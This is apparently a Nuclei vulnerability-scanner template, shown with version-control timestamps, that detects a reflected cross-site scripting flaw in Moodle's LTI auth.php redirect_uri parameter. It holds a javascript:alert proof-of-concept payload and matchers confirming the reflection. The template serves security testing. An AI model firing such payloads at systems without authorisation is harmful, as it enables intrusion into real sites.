2021-04-12 18:25:06 +00:00
|
|
|
id: moodle-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Moodle redirect_uri Reflected XSS
|
|
|
|
author: hackergautam
|
|
|
|
description: XSS in moodle via redirect_uri parameter
|
|
|
|
severity: medium
|
|
|
|
tags: moodle,xss
|
2021-07-06 06:27:15 +00:00
|
|
|
reference: https://twitter.com/JacksonHHax/status/1391367064154042377
|
2021-04-12 18:25:06 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2021-04-13 20:45:17 +00:00
|
|
|
- '{{randstr}}'
|
|
|
|
- '<form action="javascript:alert'
|
|
|
|
condition: and
|
2021-04-12 18:25:06 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
2021-07-06 06:27:15 +00:00
|
|
|
- "text/html"
|